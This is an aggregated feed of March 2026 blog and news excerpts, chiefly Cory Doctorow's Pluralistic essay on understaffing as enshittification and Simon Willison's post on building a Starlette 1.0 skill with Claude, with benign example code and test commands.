John O'Nolan built a CLI for his own product - and found himself using it in an entirely new way. The underlying trend here is really exciting.

Earth being ‘pushed beyond its limits’ as energy imbalance reaches record high

"Our home planet is struggling with a record energy imbalance, which is warming oceans to unprecedented levels, making weather more extreme and threatening health and food supplies." How we react matters.

When Hyperglobalization Meets Chaos

Choke points are everywhere you look

Lit Hub Daily: March 23, 2026

“People often believe that we can understand things simply by categorizing them, and that bothers me.” Leanne Ogasawara in conversation with Mieko Kawakami and her translators, Laurel Taylor and Hitomi Yoshio. | Lit Hub On Translation Caroline Tracey explores the

Dear Europe: Germany has shown the way forward

Germany has made ODF mandatory as the standard format for documents within its sovereign digital infrastructure. The decision is incorporated into the Deutschland-Stack, the framework governing the development, procurement and management of digital systems for public administration at all levels. This is neither a pilot project nor a recommendation from

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Amazon MX Player has launched a microdrama service, as a new report predicts huge growth for vertical video in India. Fatafat will be a mobile-first platform offering serialized vertical videos for free, marking the latest arrow in Amazon’s streaming bow in India. Series will be offered in the romance, thriller and youth-led categories. Besides the […]

The SAVE America Act could backfire bigly on MAGA

It's a half-baked attempt at election rigging.

‘The News Agents’ Outfit Global Hires Studio Chief

EXCLUSIVE: The News Agents maker Global has found its studio boss. Craig Hunter, a creative director at Criminal Record producer STV Studios, has been handpicked by former STV boss Simon Pitts, who now runs Global. Hunter, an ex-BBC commissioner, will be MD of the newly-launched Global Studios, which were unveiled last year when Global – […]

How Andrei Tarkovsky Taught Me to Write About the American West

In 1983, Telluride Film Festival co-founder Tom Luddy took Russian filmmaker Andrei Tarkovsky on a road trip. Tarkovsky’s film Nostalghia was going to screen at the event. They drove from Luddy’s home in Berkeley to Telluride by way of Monument Valley, the expanse

Pepper Basham on How The Secret Garden Inspired Her Love for British Literature

The world was not necessarily a small place for me as a child, but it was consistent. Big Sunday lunches with cousins playing in the nearby creek together, a small elementary school that had two grades per room, and a

This Week in Literary History: Hugo Grotius Escapes Prison in a Book Chest

This first appeared in Lit Hub’s Literary History newsletter—sign up here. The Dutch philosopher, poet, and playwright Hugo Grotius—also known as Hugo de Groot—is now considered one of the fathers of international law, but (shortly) before that, he was a child prodigy.

Mieko Kawakami on Sisterhood, Survival, and Finding Hope in the Darkness

One of Japan’s most acclaimed contemporary writers, Mieko Kawakami was launched into literary stardom in 2007, when she won the Akutagawa Prize, Japan’s prestigious award for emerging writers. Her work, which has been translated into over forty languages, is known

A Modern History of American Science and Healthcare in Four Presidential Administrations

The old political hands all warned President Barack Obama to stay away from health reform, that it would sink his administration as it had sunk others. Obama ignored them, lunged for national health insurance and, sure enough, it blew up

It feels like all my peers are experiencing Deep Blue and having to choose their future career path: expert in a dying field or collaborator in a fascist project.

It feels like all my peers are experiencing Deep Blue and having to choose their future career path:

expert in a dying field

or

collaborator in a fascist project.

Saoirse

The front door is open and the full length of Daithí fills the frame. He leans against the doorjamb, soaking in the unexpected heat from the autumn sunshine. The mid-morning brightness splits the surface of the bay into shards of light below

LibreOffice at MiniDebConf Kanpur 2026

MiniDebConf Kanpur 2026, organised by Debian India, was held on 14 – 15 March – and The Document Foundation was happy to sponsor it! The event featured a wide variety of talks on Debian (of course), LibreOffice, OpenStreetMap and other free and open source software projects. There was also LibreOffice

Why He’ll Surrender Soon

But he’ll call it a great victory

Andrea Mara on Building Suspense

First Draft: A Dialogue of Writing is a weekly show featuring in-depth interviews with fiction, nonfiction, essay writers, and poets, highlighting the voices of writers as they discuss their work, their craft, and the literary arts. Hosted by Mitzi Rapkin,

Rachel Eliza Griffiths on Finding the Poetry in Grief

Memoir Nation: Weekly Inspiration for Writers is an extension of the Memoir Nation community hosted by Brooke Warner and Grant Faulkner, two friends and colleagues who bring a community-minded sensibility to the writing journey. Originally launched as Write-minded in 2018, this is

‘Taskmaster’ Host Greg Davies To Present BAFTA Television Awards

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Technology can cut plane contrails by two-thirds. Getting airlines to use it isn't so easy

Flights that followed an avoidance path cut contrails by almost two-thirds. But getting dispatchers and pilots comfortable with these routes will be crucial.

Karine Vanasse To Star In ‘Death Of A Diplomat’; Crave & Siminn Board TV Adaptation Of Debut Novel From Former First Lady Of Iceland

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Pluralistic: Understaffing as a form of enshittification (23 Mar 2026)

Today's links Understaffing as a form of enshittification: A way to shift value from workers, patients and shoppers to investors. Hey look at this: Delights to delectate. Object permanence: Marvel v "superhero"; What's a photocopier?; "Up Against It"; "Medusa's Web"; AI can't do your job; Coping with plenty; "The Shakedown"; Chickenized reverse-centaurs; France v iTunes; Copyfight discipline; Mystery lobbyists; "Where the Axe is Buried"; Free/open microprocessor; Folk models of computer security; Bug-eyed steampunk mask; Academics embracing Wikipedia. Upcoming appearances: Berkeley, Montreal, London, Berlin, Hay-on-Wye. Recent appearances: Where I've been. Latest books: You keep readin' em, I'll keep writin' 'em. Upcoming books: Like I said, I'll keep writin' 'em. Colophon: All the rest. Understaffing as a form of enshittification (permalink) At root, enshittification can only take place when companies can move value around. Digital tools make it easier than ever to do this, for example, by changing prices on a per-user, per-session basis, using commercial surveillance data to predict the highest price or lowest wage a user will accept: https://pluralistic.net/2023/02/19/twiddler/ Digital "twiddling" represents a powerful system of pumps for moving value around, taking it away from users and giving it to business customers, then taking it from businesses and giving it to users, and then, ultimately, harvesting all the value for the company's shareholders and executives. Twiddling is powerful because it's fine-grained, allowing businesses to extract more from their most vulnerable customers and workers, while reserving more equitable treatment for more empowered stakeholders who might otherwise take their business elsewhere. But long before digitization made twiddling possible, businesses that found themselves in a position to make things worse for their customers and workers without facing consequences were accustomed to doing so. Think of the airport shop that sells water for $10/bottle: that's a ripoff whether you're in coach-minus or flying first class, and it's made possible by the TSA checkpoint that makes shopping elsewhere a time-consuming impossibility. The airport shop is the only game in town – a "monopolist" in economics jargon. When a business has something you really want (or even better, something you need) and it's hard (or impossible) for you to get it elsewhere, they can take value away from you and harvest it for themselves. The most obvious forms of monopoly extraction are high prices and low wages. Dollar stores are notorious for this, using their market power to procure extremely small packages of common goods in "cheater sizes" that have high per-unit costs (e.g. the cost per ounce for soap), while still having a low price tag (the cost per (small) bottle of soap). These stores are situated in food deserts, which they create by boxing in community grocers and heavily discounting their wares until the real grocers go out of business. They're also situated in work deserts, because driving regular grocers out of business destroys the competition for labor, too. That means they can pay low wages and charge high prices and make a hell of a lot of money, which is why there are so many fucking dollar stores: https://pluralistic.net/2023/03/27/walmarts-jackals/#cheater-sizes That's the most obvious form of value harvesting, but it's not the only one. There are other costs that businesses can impose on their customers and workers. Think of CVS, the pharmacy monopolist that uses its vertical integration with bizarre, poorly understood middlemen like "pharmacy benefit managers" to drive independent pharmacies out of business: https://pluralistic.net/2024/09/23/shield-of-boringness/#some-men-rob-you-with-a-fountain-pen If you've been to a CVS store recently, you have doubtless experienced a powerful form of value-shifting: understaffing. CVS (and the other massive chains in the cartel, like Walgreens) have giant stores with just one or two employees on the floor, often just a cashier and a pharmacist. This makes them easy pickings for shoplifters, so all their merchandise is locked up in cabinets and when you want to buy something, you have to find the lone employee and get them to unlock the case for you. This is CVS trading your time for their wage-bill. Then, you're expected to check out your own purchases – shifting labor from workers on CVS's payroll to you – with badly maintained machines that often misfire and require you to wait again for that lone employee to come and override them. Meanwhile, that employee is absorbing a gigantic amount of frustration and abuse from customers who are paying high prices and enduring long waits – another cost that CVS shifts from their shareholders to someone else (workers, in this case). Finally, CVS demands that publicly funded police respond to the inevitable shoplifting and other security problems created by running a big-box store with a skeleton crew, shifting costs from the business to everyone in the local tax-base. In "Not Enough Workers For the Job," The American Prospect's Robin Kaiser-Schatzlein looks at the systemic trend towards understaffing that has swept across every sector of the US economy over the past five years: https://prospect.org/2026/03/19/understaff-workplace-business-covid-cvs-pharmacies-hotels-grocery-stores/ Kaiser-Schatzlein lays the blame for many of life's frustrations at the feet of this business trend: "long lines, messy grocery aisles, organized theft, high hotel costs, frequent flight cancellations, deadly medication errors at pharmacies, increased use of medical restraints in nursing homes, and, more generally, a palpable and rising dissatisfaction with work." As you can see from that list, understaffing affects everyone, from people with the wherewithal to buy a plane ticket to vulnerable elderly people who are literally tied to their beds or drugged into stupors for the last years of their lives. There's academic work to support the idea that understaffing is on the rise, like a 2024 Kennedy School survey of 14,000 workers where a majority said that their workplaces are "always" or "often" understaffed. A 2023 study in the Journal of Public Health Management and Practice found that public health institutions need to hire 80% more workers to be adequately staffed. New York's Mt Sinai hospitals paid a $2m fine in 2024 for understaffing its ERs, as well as oncology and labor units. Another study blames understaffing for the rise of use of antipsychotic "chemical handcuffs" in nursing homes: https://pubmed.ncbi.nlm.nih.gov/35926573/ The hits keep coming: the DoT Inspector General says that 77% of air traffic control is understaffed, with NYC ATC staffed at 54% of the correct level. In Texas, county jails have had to reduce their capacity due to understaffing (they have enough beds, but not enough turnkeys). Understaffing is behind much of the unprecedented union surge, with workers at Starbucks, railroads and elsewhere becoming labor militants due to understaffing. 83% of white-collar millennials say they're doing extra work to make up for vacant positions in their organizations. As Starbucks union organizers can attest, workers need unions if they want to have a hope of forcing their bosses to adequately staff their jobsites, so it's not surprising that understaffing has emerged at a time when union density is at rock bottom. Kaiser-Schatzlein quotes the Kennedy School's Daniel Schneider, who identifies understaffing as a deliberate business strategy. Businesses don't hire enough workers because that makes them more profitable. It's not because "no one wants to work anymore" (though doubtless repeating that fairy tale helps shift the blame for long lines and poor service from real, greedy bosses to imaginary, greedy workers). Private equity firms lead the charge here, "rolling up" multiple, competing businesses in a sector and then cutting staffing across all of them. Putting all the businesses in a given sector and region under common ownership means that when these businesses hack away at staffing levels, workers and customers have nowhere else to go. This is especially pernicious at nursing homes, where PE companies drastically reduce headcount, putting staff and patients alike at risk: https://www.npr.org/sections/health-shots/2023/01/31/1139783599/new-york-nursing-home-owners-drained-cash?ft=nprml&amp;f=853198417 Private equity has just about declared victory in its decades-long war on community pharmacies, consolidating pharmacy ownership nationwide into just a few chains that are the poster-children for understaffing. These ghost-ships aren't just frustrating places to shop – they're a danger to their communities. As Kaiser-Schatzlein reports, Ohio fined CVS in 2021 for boarding up the walk-up pharmacies in its stores and forcing customers to use the drive-through, because there was only a single pharmacist on duty. Without help, the lone pharmacist was unable to process deliveries, so CVS pharmacies' floors were littered with unopened parcels. Patients had to wait over a month to get their prescriptions filled. CVS refused to hire additional staff to process the backlog, and the on-duty staff worked under declining conditions, as the undermaintained air conditioning quit and indoor temperatures soared. Unsurprisingly, these stores had massive staff turnover, which also hampered their efficiency. Understaffing in pharmacies leads to serious medication errors, which are proliferating across the US, killing hundreds of thousands of Americans every year. The errors are incredible, like the woman who died after getting chemotherapy drugs instead of antidepressants: https://www.nytimes.com/2020/01/31/health/pharmacists-medication-errors.html Pharmacists at chain stores like CVS are at elevated risk for kidney stones because they don't have time for bathroom breaks, so they adopt a practice of not drinking water during their shifts. One CVS pharmacist told Texas regulators, "I am a danger to the public working for CVS." As ever, covid provides the ideal excuse for shifting value from customers and workers to shareholders. Today's high prices never came down after the "greedflation" that bosses boasted about to shareholders, even as they told customers that it was because of "supply chain shocks": https://pluralistic.net/2023/03/11/price-over-volume/#pepsi-pricing-power Likewise, staffing levels never came back from the covid skeleton crews that we all learned to deal with in the days of widespread acute illness and social distancing. Kaiser-Schatzlein spoke to hotel workers like Jianci Liang, a housekeeper at Boston's Hilton Park Plaza, who described a post-pandemic jobsite with 20 fewer housekeepers: "I sleep with pain, I wake up with pain, I go to work with pain." The Bureau of Labor says that hotel staffing levels are down 16% nationwide. Prices (and profits) are up, though. Hotels are posting record profits and paying record executive salaries, wrung from facilities where the pools are closed and room cleanings happen on alternate days. Workers absorb the cost of understaffing in their bodies and their psyches. It's not just physical exhaustion, it's also the abuse that is directly correlated with lower staffing levels. Frustrated customers vent their anger at grocery workers, flight attendants and other front-line workers. I can't help but see a connection here to the AI bubble, which is fueled by the fantasy of a world without people: https://pluralistic.net/2026/01/05/fisher-price-steering-wheel/#billionaire-solipsism The billionaire solipsists who have directed hundreds of billions of dollars in AI investment like to rhapsodize about a future where a boss's ideas are turned into products and services without having to be funneled through workers: https://pluralistic.net/2026/03/12/normal-technology/#bubble-exceptionalism That's why AI has taken over customer service – the multi-hour waits for a customer service rep were always a way of shifting value from customers and workers to shareholders. Businesses could increase staffing at their call centers. Businesses could offer better products and services and reduce the number of people who need customer service. By refusing to do either, they make you wait on the line until you are suffused with murderous rage, and then expect their workers to deal with your anger. Turning the whole thing over to AI makes perfect sense – your problems won't be solved, and they don't have to pay the chatbot at all when you get angry at it: https://pluralistic.net/2025/08/06/unmerchantable-substitute-goods/#customer-disservice "We did this with AI" has become a synonym for "We don't care if this is done well": https://pluralistic.net/2026/03/11/modal-dialog-a-palooza/#autoplay-videos "We don't care if this is done well" could well be the motto of the understaffing craze. The technical insights that sparked today's AI investment bubble could have happened at any time, but the ensuing investment tsunami is a product of a world dominated by large firms that are "too big to care" about the quality of their products – or their jobs. Hey look at this (permalink) Our algorithmic future – Utopia or Armageddon? https://b2fxxx.blogspot.com/2026/03/our-algorithmic-future-utopia-or.html The Market Definition Trap https://lpeproject.org/blog/the-market-definition-trap/ On Spec 2026: New Canadian Literature of the Fantastic https://www.kickstarter.com/projects/edwardwillett/on-spec-2026-new-canadian-literature-of-the-fantastic Day 7: Ticketmaster's "Velvet Hammer" https://www.bigtechontrial.com/p/day-7-ticketmasters-velvet-hammer From Race to the Bottom to Worker Power on the Road https://economicpopulist.substack.com/p/from-race-to-the-bottom-to-worker Object permanence (permalink) #20yrsago Marvel Comics: stealing our language https://memex.craphound.com/2006/03/18/marvel-comics-stealing-our-language/ #20yrsago MPAA/RIAA/BSA: No breaking DRM, even if it’s killing you (literally!) https://blog.citp.princeton.edu/2006/03/08/riaa-says-future-drm-might-threaten-critical-infrastructure-and-potentially-endanger-liv/ #20yrsago Coping with plenty – stuff gets cheaper, space gets pricier https://www.theguardian.com/business/2006/feb/28/retail.shopping #20yrsago France will let Microsoft play iTunes http://news.bbc.co.uk/2/hi/technology/4828296.stm #20yrsago A new discipline to describe the copyfight https://web.archive.org/web/20060422010702/https://www.nyu.edu/classes/siva/archives/002930.html #20yrsago Right-wing think-tank hates DRM https://www.cato.org/policy-analysis/circumventing-competition-perverse-consequences-digital-millennium-copyright-act# #20yrsago Reasons to take math in high school https://web.archive.org/web/20060610134055/http://www.acm.org/ubiquity/views/v7i11_math.html #20yrsago Sun ships free and open microprocessor https://web.archive.org/web/20060221112756/http://opensparc.sunsource.net/nonav/index.html #20yrsago Octavia Butler scholarship will send people of color to Clarion https://web.archive.org/web/20060406161412/https://carlbrandon.org/butlerscholarship/ #20yrsago Online sexual material is obscene if any community in US objects https://web.archive.org/web/20060505232346/http://www.justicemag.com/daily/item/2590.html #15yrsago Folk models of home computer security: what we think our PCs are doing https://rickwash.com/papers/rwash-homesec-soups10-final.pdf #15yrsago Fixers’ Collective: people learning to make broken stuff work again https://www.csmonitor.com/The-Culture/Arts/2011/0321/The-art-of-the-fix-it #15yrsago Bug-eyed monster steampunk mask https://bob-basset.livejournal.com/158400.html #15yrsago Scholars to stop pretending they don’t use Wikipedia; will work out best practices instead https://www.bbc.com/news/education-12809944 #15yrsago Electronic publishing Bingo card from John Scalzi https://whatever.scalzi.com/2011/03/20/the-electronic-publishing-bingo-card/ #15yrsago RIP, Mike Glicksohn, Hugo-winning science fiction fan https://file770.com/mike-glicksohn-1946-2011/ #15yrsago Anti-labor ads celebrate workers taking paycuts and CEOs getting millions https://www.cogdis.me/2011/03/is-this-what-they-really-want.html #15yrsago Reluctant witness refuses to admit he knows what a photocopier is https://www.cleveland.com/metro/2011/03/identifying_photocopy_machine.html #15yrsago Tim Wu in the Guardian https://www.theguardian.com/technology/2011/mar/17/the-master-switch-tim-wu-internet #15yrsago Up Against It: smart, whiz-bang space opera pits astro-bureaucrats against rogue AIs https://memex.craphound.com/2011/03/18/up-against-it-smart-whiz-bang-space-opera-pits-astro-bureaucrats-against-rogue-ais/ #10yrsago Howto: start a fire with a lemon https://www.youtube.com/watch?v=Bv2vT665bGI #10yrsago First order of business for hard-right government: canceling Croatia’s answer to The Daily Show https://balkaninsight.com/2016/03/17/satiric-show-pulled-from-croatian-tv-for-intolerance-03-17-2016/bi/all-balkan-countries/ #10yrsago FBI issues car-hacking warning, tells drivers to keep their cars’ patch-levels current https://www.wired.com/2016/03/fbi-warns-car-hacking-real-risk/ #10yrsago BART’s twitter manager drops truth-bombs, world cheers https://gizmodo.com/i-would-like-to-buy-a-drink-for-the-poor-soul-who-ran-t-1765477706 #10yrsago Chelsea Manning gets the US Army to cough up its “insider threat” training docs https://www.theguardian.com/commentisfree/2016/mar/18/government-persecuting-whistleblowers-insider-threat-chelsea-manning #10yrsago Apple engineers quietly discuss refusing to create the FBI’s backdoor https://www.nytimes.com/2016/03/18/technology/apple-encryption-engineers-if-ordered-to-unlock-iphone-might-resist.html #10yrsago Russia moots ban on discussions about VPNs, reverse proxies, and other anti-censorship techniques https://torrentfreak.com/copyright-holders-want-site-block-circumvention-advice-banned-160319/ #10yrsago Medusa’s Web: Tim Powers is the Philip K Dick of our age https://memex.craphound.com/2016/03/18/medusas-web-tim-powers-is-the-philip-k-dick-of-our-age/ #10yrsago Meet the Commercial Energy Working Group, a lobby group that won’t say who it lobbies for https://web.archive.org/web/20160320150011/https://theintercept.com/2016/03/20/mysterious-powerful-lobbying-group-wont-even-say-who-its-lobbying-for/ #5yrsago Support Amazon workers today https://pluralistic.net/2021/03/20/against-amazon-union-busting/#what-rhymes-with-bezos #5yrsago Department of Truth https://pluralistic.net/2021/03/20/against-amazon-union-busting/#dot #5yrsago The political possibility of cities https://pluralistic.net/2021/03/21/ex-urbe/#arcology-politics #5yrsago Aviation bailout cost $666k/job https://pluralistic.net/2021/03/18/news-worthy/#aa #5yrsago Impunity for NYPD cops who brutalized BLM protesters https://pluralistic.net/2021/03/18/news-worthy/#nypd-black-and-blue #5yrsago Help news, not news-barons https://pluralistic.net/2021/03/18/news-worthy/#big-news #5yrsago Announcing "The Shakedown" https://pluralistic.net/2021/03/19/the-shakedown/#monopsony #5yrsago Chickenized reverse-centaurs https://pluralistic.net/2021/03/19/the-shakedown/#weird-flex #1yrago You can't save an institution by betraying its mission https://pluralistic.net/2025/03/19/selling-out/#destroy-the-village-to-save-it #1yrago AI can't do your job https://pluralistic.net/2025/03/18/asbestos-in-the-walls/#government-by-spicy-autocomplete #1yrago Ray Nayler's "Where the Axe Is Buried" https://pluralistic.net/2025/03/20/birchpunk/#cyberspace-is-everting Upcoming appearances (permalink) Berkeley: Bioneers keynote, Mar 27 https://conference.bioneers.org/ Montreal: Bronfman Lecture (McGill), Apr 10 https://www.eventbrite.ca/e/artificial-intelligence-the-ultimate-disrupter-tickets-1982706623885 Montreal: Drawn and Quarterly, Apr 10 https://mtl.drawnandquarterly.com/events/4863920260410 London: Resisting Big Tech Empires (LSBU), Apr 25 https://www.tickettailor.com/events/globaljusticenow/2042691 Berlin: Re:publica, May 18-20 https://re-publica.com/de/news/rp26-sprecher-cory-doctorow Berlin: Enshittification at Otherland Books, May 19 https://www.otherland-berlin.de/de/event-details/cory-doctorow.html Hay-on-Wye: HowTheLightGetsIn, May 22-25 https://howthelightgetsin.org/festivals/hay/big-ideas-2 Recent appearances (permalink) Do you feel screwed over by big tech? (Ontario Today) https://www.cbc.ca/listen/live-radio/1-45-ontario-today/clip/16203024-do-feel-screwed-big-tech Launch for Cindy's Cohn's "Privacy's Defender" (City Lights) https://www.youtube.com/watch?v=WuVCm2PUalU Chicken Mating Harnesses (This Week in Tech) https://twit.tv/shows/this-week-in-tech/episodes/1074 The Virtual Jewel Box (U Utah) https://tanner.utah.edu/podcast/enshittification-cory-doctorow-matthew-potolsky/ Tanner Humanities Lecture (U Utah) https://www.youtube.com/watch?v=i6Yf1nSyekI Latest books (permalink) "Canny Valley": A limited edition collection of the collages I create for Pluralistic, self-published, September 2025 https://pluralistic.net/2025/09/04/illustrious/#chairman-bruce "Enshittification: Why Everything Suddenly Got Worse and What to Do About It," Farrar, Straus, Giroux, October 7 2025 https://us.macmillan.com/books/9780374619329/enshittification/ "Picks and Shovels": a sequel to "Red Team Blues," about the heroic era of the PC, Tor Books (US), Head of Zeus (UK), February 2025 (https://us.macmillan.com/books/9781250865908/picksandshovels). "The Bezzle": a sequel to "Red Team Blues," about prison-tech and other grifts, Tor Books (US), Head of Zeus (UK), February 2024 (thebezzle.org). "The Lost Cause:" a solarpunk novel of hope in the climate emergency, Tor Books (US), Head of Zeus (UK), November 2023 (http://lost-cause.org). "The Internet Con": A nonfiction book about interoperability and Big Tech (Verso) September 2023 (http://seizethemeansofcomputation.org). Signed copies at Book Soup (https://www.booksoup.com/book/9781804291245). "Red Team Blues": "A grabby, compulsive thriller that will leave you knowing more about how the world works than you did before." Tor Books http://redteamblues.com. "Chokepoint Capitalism: How to Beat Big Tech, Tame Big Content, and Get Artists Paid, with Rebecca Giblin", on how to unrig the markets for creative labor, Beacon Press/Scribe 2022 https://chokepointcapitalism.com Upcoming books (permalink) "The Reverse-Centaur's Guide to AI," a short book about being a better AI critic, Farrar, Straus and Giroux, June 2026 (https://us.macmillan.com/books/9780374621568/thereversecentaursguidetolifeafterai/) "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2026 "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027 "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, 2027 "The Memex Method," Farrar, Straus, Giroux, 2027 Colophon (permalink) Today's top sources: Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America (1034 words today, 54661 total) "The Reverse Centaur's Guide to AI," a short book for Farrar, Straus and Giroux about being an effective AI critic. LEGAL REVIEW AND COPYEDIT COMPLETE. "The Post-American Internet," a short book about internet policy in the age of Trumpism. PLANNING. A Little Brother short story about DIY insulin PLANNING This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net. https://creativecommons.org/licenses/by/4.0/ Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution. How to get Pluralistic: Blog (no ads, tracking, or data-collection): Pluralistic.net Newsletter (no ads, tracking, or data-collection): https://pluralistic.net/plura-list Mastodon (no ads, tracking, or data-collection): https://mamot.fr/@pluralistic Bluesky (no ads, possible tracking and data-collection): https://bsky.app/profile/doctorow.pluralistic.net Medium (no ads, paywalled): https://doctorow.medium.com/ https://twitter.com/doctorow Tumblr (mass-scale, unrestricted, third-party surveillance and advertising): https://mostlysignssomeportents.tumblr.com/tagged/pluralistic "When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer. ISSN: 3066-764X

March 22, 2026

President Donald J.

Why We Elect Narcissists and Sociopaths - And How We Can Stop!

With Bill Eddy, LCSW, JD

John Oliver Says Trump Has Pushed “Truth To Breaking Point” With Iran War Claims: “The Lies Are Getting Pretty Flagrant Here, Even By This President’s Standards”

During his opening monologue on tonight’s installment of Last Week Tonight, John Oliver addressed the spiraling claims by Donald Trump’s administration regarding the Iran War, which has continued to drag on despite assurances it would entail a decisive military operation last month. After cuing a video of U.S. Secretary of Defense/War Pete Hegseth’s recent address […]

How ‘The Comeback’ Handles Mickey’s Season 3 Absence After Robert Michael Morris’ Death

SPOILER: This post contains details about The Comeback, Season 3 premiere episode ‘Valerie Gets a New Chapter’ Nine years after actor Robert Michael Morris’ death, the third and final season of The Comeback premiered this weekend, with one major absence. In the season premiere episode ‘Valerie Gets a New Chapter’, airing Sunday, March 22 at […]

Beats now have notes

Last month I added a feature I call beats to this blog, pulling in some of my other content from external sources and including it on the homepage, search and various archive pages on the site.

On any given day these frequently outnumber my regular posts. They were looking a little bit thin and were lacking any form of explanation beyond a link, so I've added the ability to annotate them with a "note" which now shows up as part of their display.

Here's what that looks like for the content I published yesterday:

I've also updated the /atom/everything/ Atom feed to include any beats that I've attached notes to.

Tags: atom, blogging, site-upgrades

Regé-Jean Page On How “The Idea That The Rom-Com Is Dead” Informed His Decision To Star In ‘You, Me & Tuscany’

Regé-Jean Page will soon be returning to his romantic roots with the upcoming rom-com You, Me & Tuscany starring Halle Bailey — and the film’s genre is part of the reason he signed on for the role. With many recent thinkpieces and opinions expressed by Hollywood regarding the supposed death of the rom-com, the Emmy-nominated […]

Monday 23 March, 2026

Megalithic Sunrise Sunrise at Stonehenge on Friday, 20th. I wasn’t there but my friend, Keryn Jalli, was, and took the photograph. Quote of the Day ”Faced with the choice between changing one’s mind and proving that there is no need … Continue reading →

@Miguel de Icaza Mastondon feed

RE: https://mstdn.social/@jtarrio/116275409320160344

Beautiful

Starlette 1.0 skill

Research: Starlette 1.0 skill

See Experimenting with Starlette 1.0 with Claude skills.

Tags: starlette

Waterfox Android 1.2.2 - Stability and cleanup

Gecko 149 and a fix for deleting data on quit

Experimenting with Starlette 1.0 with Claude skills

Starlette 1.0 is out! This is a really big deal. I think Starlette may be the Python framework with the most usage compared to its relatively low brand recognition because Starlette is the foundation of FastAPI, which has attracted a huge amount of buzz that seems to have overshadowed Starlette itself.

Kim Christie started working on Starlette in 2018 and it quickly became my favorite out of the new breed of Python ASGI frameworks. The only reason I didn't use it as the basis for my own Datasette project was that it didn't yet promise stability, and I was determined to provide a stable API for Datasette's own plugins... albeit I still haven't been brave enough to ship my own 1.0 release (after 26 alphas and counting)!

Then in September 2025 Marcelo Trylesinski announced that Starlette and Uvicorn were transferring to their GitHub account, in recognition of their many years of contributions and to make it easier for them to receive sponsorship against those projects.

The 1.0 version has a few breaking changes compared to the 0.x series, described in the release notes for 1.0.0rc1 that came out in February.

The most notable of these is a change to how code runs on startup and shutdown. Previously that was handled by on_startup and on_shutdown parameters, but the new system uses a neat lifespan mechanism instead based around an async context manager:

@contextlib.asynccontextmanager
async def lifespan(app):
    async with some_async_resource():
        print("Run at startup!")
        yield
        print("Run on shutdown!")

app = Starlette(
    routes=routes,
    lifespan=lifespan
)

If you haven't tried Starlette before it feels to me like an asyncio-native cross between Flask and Django, unsurprising since creator Kim Christie is also responsible for Django REST Framework. Crucially, this means you can write most apps as a single Python file, Flask style.

This makes it really easy for LLMs to spit out a working Starlette app from a single prompt.

There's just one problem there: if 1.0 breaks compatibility with the Starlette code that the models have been trained on, how can we have them generate code that works with 1.0?

I decided to see if I could get this working with a Skill.

Building a Skill with Claude

Regular Claude Chat on claude.ai has skills, and one of those default skills is the skill-creator skill. This means Claude knows how to build its own skills.

So I started a chat session and told it:

Clone Starlette from GitHub - it just had its 1.0 release. Build a skill markdown document for this release which includes code examples of every feature.

I didn't even tell it where to find the repo, Starlette is widely enough known that I expected it could find it on its own.

It ran git clone https://github.com/encode/starlette.git which is actually the old repository name, but GitHub handles redirects automatically so this worked just fine.

The resulting skill document looked very thorough to me... and then I noticed a new button at the top I hadn't seen before labelled "Copy to your skills". So I clicked it:

And now my regular Claude chat has access to that skill!

A task management demo app

I started a new conversation and prompted:

Build a task management app with Starlette, it should have projects and tasks and comments and labels

And Claude did exactly that, producing a simple GitHub Issues clone using Starlette 1.0, a SQLite database (via aiosqlite) and a Jinja2 template.

Claude even tested the app manually like this:

cd /home/claude/taskflow && timeout 5 python -c "
import asyncio
from database import init_db
asyncio.run(init_db())
print('DB initialized successfully')
" 2>&1

pip install httpx --break-system-packages -q \
  && cd /home/claude/taskflow && \
  python -c "
from starlette.testclient import TestClient
from main import app

client = TestClient(app)

r = client.get('/api/stats')
print('Stats:', r.json())

r = client.get('/api/projects')
print('Projects:', len(r.json()), 'found')

r = client.get('/api/tasks')
print('Tasks:', len(r.json()), 'found')

r = client.get('/api/labels')
print('Labels:', len(r.json()), 'found')

r = client.get('/api/tasks/1')
t = r.json()
print(f'Task 1: \"{t[\"title\"]}\" - {len(t[\"comments\"])} comments, {len(t[\"labels\"])} labels')

r = client.post('/api/tasks', json={'title':'Test task','project_id':1,'priority':'high','label_ids':[1,2]})
print('Created task:', r.status_code, r.json()['title'])

r = client.post('/api/comments', json={'task_id':1,'content':'Test comment'})
print('Created comment:', r.status_code)

r = client.get('/')
print('Homepage:', r.status_code, '- length:', len(r.text))

print('\nAll tests passed!')
"

For all of the buzz about Claude Code, it's easy to overlook that Claude itself counts as a coding agent now, fully able to both write and then test the code that it is writing.

Here's what the resulting app looked like. The code is here in my research repository.

Tags: open-source, python, ai, asgi, kim-christie, generative-ai, llms, ai-assisted-programming, claude, coding-agents, skills, agentic-engineering, starlette

On Calming Down, Antisemitism, and Appropriate Panic

A recording from Mike Brock's live video

‘Dhurandhar’ Bollywood Sequel Breaks Out, Animated ‘The Pout-Pout Fish’, Met Opera Live — Specialty Box Office

Dhurandhar: The Revenge from Moviegoers Entertainment cleaned up with a $10 million weekend and a no. 3 ranking on 987 screens for a gross of $14 million (including Wed. peeks and Thursday shows) for one of the biggest opening weekends ever for a Bollywood film in North America, beating winner Pathaan (2023) which opened to […]

Episode 178 - The Programma 101

The Olivetti Programma 101 isn't quite like any other machine. On first glance it looks like a big desktop calculator. Inside, it's a purebred computer... but strange one. It uses twisted spring steel for memory, has no addresses, and it's machine code looks more like a spell than a program. It's existence is due, in no small part, to a man being very mean to GE engineers.

Like Advent of Computing? Then check out the after show! Adjunct of Computing is now LIVE: YouTube Spotify Apple Podcasts

